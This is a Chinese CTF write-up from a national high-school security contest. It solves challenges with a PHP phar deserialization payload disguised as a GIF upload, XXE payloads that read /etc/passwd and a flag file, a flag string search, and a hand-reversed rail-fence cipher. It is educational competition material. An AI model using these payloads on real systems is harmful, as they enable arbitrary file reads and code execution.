第三届全国中学生网络安全竞赛决赛部分writeup
2020-10-12 14:49:16 Author: www.secpulse.com(查看原文) 阅读量:340 收藏

   这次西电决赛总体来说题目难度不大,但是web题的难度很大,下半场两题web都是0解,其他题型都有很多师傅解出来,本次我一web选手竟然也做出了Re和密码学,然后在最后几分钟被oi题的选手秒了差一名拿奖,Web题今年是真的坑。

Web

1、hugme

这题由于时间太紧加上技术不到位没有解决出来,做出来应该就二等奖了噗。在赛后和shadowwolf师傅讨论了下对该题进行了复现,打开题目index要上传文件,

1.jpg

怀疑是文件上传然后怎么样都绕过不了,在网页源代码看到了注释信息,

2.jpg

想到访问robots.txt文件,

3.jpg

然后访问php文件得到以下源码,

<?php 
error_reporting(E_ALL);  
class Flag { 
    protected $a;  
    function __destruct() { 
        if ($this->a === '1') { 
            include 'flag.php'; 
            die($flag); 
        } 
    } 
} 
highlight_file(__FILE__); 
$good = $_GET['flag']; 
$file= file_exists($good); 
?>

根据官方给的提示信息(https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/),构造payload:

<?php
    class Flag {
    protected $a='1';
    }
    $phar = new Phar("a.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Flag();
    //$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

生成phar文件,

4.jpg

将phar格式文件后缀改成gif后,上传gif图片到服务器,

5.jpg

phar反序列化后得到flag,

6.jpg

2、xml's the best

根据题目描述判断考察xml注入内容,先访问题目主页,然后f12审查元素的注释中得到以下信息,

<!--file_get_contents("php://input")-->
<!--<a><name>123</name><a/>-->

在index.php页面用Post方式传输payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
<name>&xxe;</name>
</root>

这里直接用收集的exp打(注意在之前注释中提示了使用<name>标签),获取了系统的passwd文件内容,

7.jpg

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///flag">]>
<root>
<name>&xxe;</name>
</root>

然后在根目录中读取flag文件获取flag,

8.jpg

得到flag:

mssctf{35586d0b-599d-4e76-9029-ff330c559e75}

Reverse

1、hello:

签到的逆向题,直接用notepad++打开搜索flag前缀即可,

9.jpg

得到:

mssctf{s1mpl3_r3v3rs3}

Crypto

1、easy_encrypt:

打开得到脚本,

from FLAG import flag
def Encrypt(plain , row):
    lenth = len(plain)
    remainder = lenth % row
    line = lenth // row
    cipher = ''
    list = [[]] * row
    j = 0
    for i in range(remainder):
        list[i] =plain[j : j + line + 1]
        j += line + 1
    for i in range(remainder , row):
        list[i] = plain[j : j + line]
        j += line
    for i in range(line):
        for j in range(row):
            cipher += list[j][i]
    for i in range(remainder):
        cipher += list[i][line]
    return cipher

print(Encrypt(flag , 3))

#msYs__s1fc_1tHnf@C{pe1p}T

可以脚本传参了flag和一个数值,并且注释中的flag字符没有改变,判断是栅栏加密,因为不会逆向脚本所以直接手工还原(栏数为3),

还原过程:
msY
s__
s1f
c_1
tHn
f@C
{pe
1p}
T
得到flag:
mssctf{1Ts_1_H@ppY_f1nCe}

本文作者:教主assassin

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/142579.html


文章来源: https://www.secpulse.com/archives/142579.html
如有侵权请联系:admin#unsafe.sh